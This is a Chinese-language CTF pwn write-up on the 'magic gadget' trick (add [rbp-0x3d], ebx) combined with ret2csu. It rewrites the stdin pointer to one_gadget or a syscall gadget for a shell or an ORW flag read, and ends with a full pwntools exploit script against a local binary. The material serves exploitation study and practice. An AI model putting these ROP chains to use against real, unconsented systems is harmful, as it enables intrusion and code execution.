漏洞原理

ROPgadget --binary pwn | grep ‘add’

add dword ptr [rbp - 0x3d], ebx ; nop ; ret

穷途末路的时候用,将[rbp-0x3d]+rbx赋值给[rbp-0x3d],配合csu使用。效果甚佳

适用:只存在栈溢出,无打印函数

利用

利用过程

1.更改stdin为one_gadget或者syscall

2.call stdin

利用方法

计算偏移

找对应版本的libc,计算与stdin(bss头的libc地址)与one_gadget,syscall的偏移

0xffffffff对应-1

stdin偏移查找

  1. shift+F12后carl+F搜索stdin ,第一个_IO_2_1_stdin_

  1. X交叉引用,看data段

3.跟进,找到偏移

4.计算

0xffffffff对应-1,红色为stdin,蓝色为one_gadget/syscall,计算偏移

利用姿势

1.简单,改stdin为one_gadget,一般选择rsi,rdx等寄存器为空的,因为csu可以控制

1
2
payload=overflow
payload+=p64(csu_rear)+p64(one_gadget)+p64(stdin+0x3d)+p64(0)*3+p64(stdin)+p64(magic)+p64(csu_rear)+p64(0)*5+p64(stdin)+p64(csu_head)

中级,没办法控制rax, 可以通过read控制,读入字节数=rax。找控制rax=0的gadget改stdin为syscall ret 调用read后控制rax=0x3b,获取shell。用的libc中的syscall_ret

ropper --file=/root/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6 --search “syscall”

1
2
3
4
5
payload=b'a'*(0x14+8)
payload+=p64(csu_rear)+p64(syscall_ret)+p64(stdin+0x3d)+p64(0)*3+p64(stdin)+p64(magic)
payload+=p64(csu_rear)+p64(0)+p64(1)+p64(0)+p64(stdin+0x400)+p64(0x100)+p64(elf.got['read'])+p64(csu_head)+p64(0)*7
payload+=p64(csu_rear)+p64(0)+p64(1)+p64(stdin+0x400)+p64(0)+p64(0)+p64(stdin)+p64(csu_head)
s((b'/bin/sh\x00').ljust(0x3b),b'\x00')

高级,沙盒,类似的用法,通过read控制rax,控制程序执行orw,读取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
read=p64(csu_rear)+p64(0)+p64(1)+p64(0)+p64(stdin+0x500)+p64(0x100)+p64(elf.got['read'])+p64(csu_head)+p64(0)*7
payload=overflow
payload+=p64(csu_rear)+p64(syscall_ret)+p64(stdin+0x3d)+p64(0)*3+p64(stdin)+p64(magic)
payload+=p64(csu_rear)+p64(0)+p64(1)+p64(0)+p64(stdin+0x400)+p64(0x100)+p64(elf.got['read'])+p64(csu_head)+p64(0)*7
payload+=read+p64(csu_rear)+p64(0)+p64(1)+p64(stdin+0x400)+p64(0)+p64(0)+p64(stdin)+p64(csu_head)+p64(0)*7
payload+=p64(csu_rear)+p64(0)+p64(1)+p64(3)+p64(stdin+0x600)+p64(0x100)+p64(elf.got['read'])+p64(csu_head)+p64(0)*7
payload+=read+p64(csu_rear)+p64(0)+p64(1)+p64(1)+p64(stdin+0x600)+p64(0x100)+p64(stdin)+p64(csu_head)+p64(0)*7
bug()
s(payload)
pause()
s(b'/flag')
pause()
s(b'aa')
pause()
s(b'a')

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import*
from struct import pack
import ctypes
from LibcSearcher import *
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/root/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./pwn')
#p=remote('',)
p = process('./pwn')
magic=0x000000000040113c
csu_head=0x401240
csu_rear=0x40125A
stdin=0x404020
def csu(rbx,rbp,r12,r13,r14,r15):
payload=b'a'*(0x14+8)
payload+=p64(csu_rear)+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
payload+=p64(csu_head)
s(payload)
'''
payload=b'a'*(0x14+8)
payload+=p64(csu_rear)+p64(0xffef7184)+p64(stdin+0x3d)+p64(0)*3+p64(stdin)+p64(magic)+p64(csu_rear)+p64(0)*5+p64(stdin)+p64(csu_head)


payload=b'a'*(0x14+8)
payload+=p64(csu_rear)+p64(0xffe76729)+p64(stdin+0x3d)+p64(0)*3+p64(stdin)+p64(magic)
payload+=p64(csu_rear)+p64(0)+p64(1)+p64(0)+p64(stdin+0x400)+p64(0x100)+p64(elf.got['read'])+p64(csu_head)+p64(0)*7
payload+=p64(csu_rear)+p64(0)+p64(1)+p64(stdin+0x400)+p64(0)+p64(0)+p64(stdin)+p64(csu_head)
'''



read=p64(csu_rear)+p64(0)+p64(1)+p64(0)+p64(stdin+0x500)+p64(0x100)+p64(elf.got['read'])+p64(csu_head)+p64(0)*7
payload=b'a'*(0x14+8)
payload+=p64(csu_rear)+p64(0xffe76729)+p64(stdin+0x3d)+p64(0)*3+p64(stdin)+p64(magic)
payload+=p64(csu_rear)+p64(0)+p64(1)+p64(0)+p64(stdin+0x400)+p64(0x100)+p64(elf.got['read'])+p64(csu_head)+p64(0)*7
payload+=read+p64(csu_rear)+p64(0)+p64(1)+p64(stdin+0x400)+p64(0)+p64(0)+p64(stdin)+p64(csu_head)+p64(0)*7
payload+=p64(csu_rear)+p64(0)+p64(1)+p64(3)+p64(stdin+0x600)+p64(0x100)+p64(elf.got['read'])+p64(csu_head)+p64(0)*7
payload+=read+p64(csu_rear)+p64(0)+p64(1)+p64(1)+p64(stdin+0x600)+p64(0x100)+p64(stdin)+p64(csu_head)+p64(0)*7
bug()
s(payload)
pause()
s(b'/flag')
pause()
s(b'aa')
pause()
s(b'a')


inter()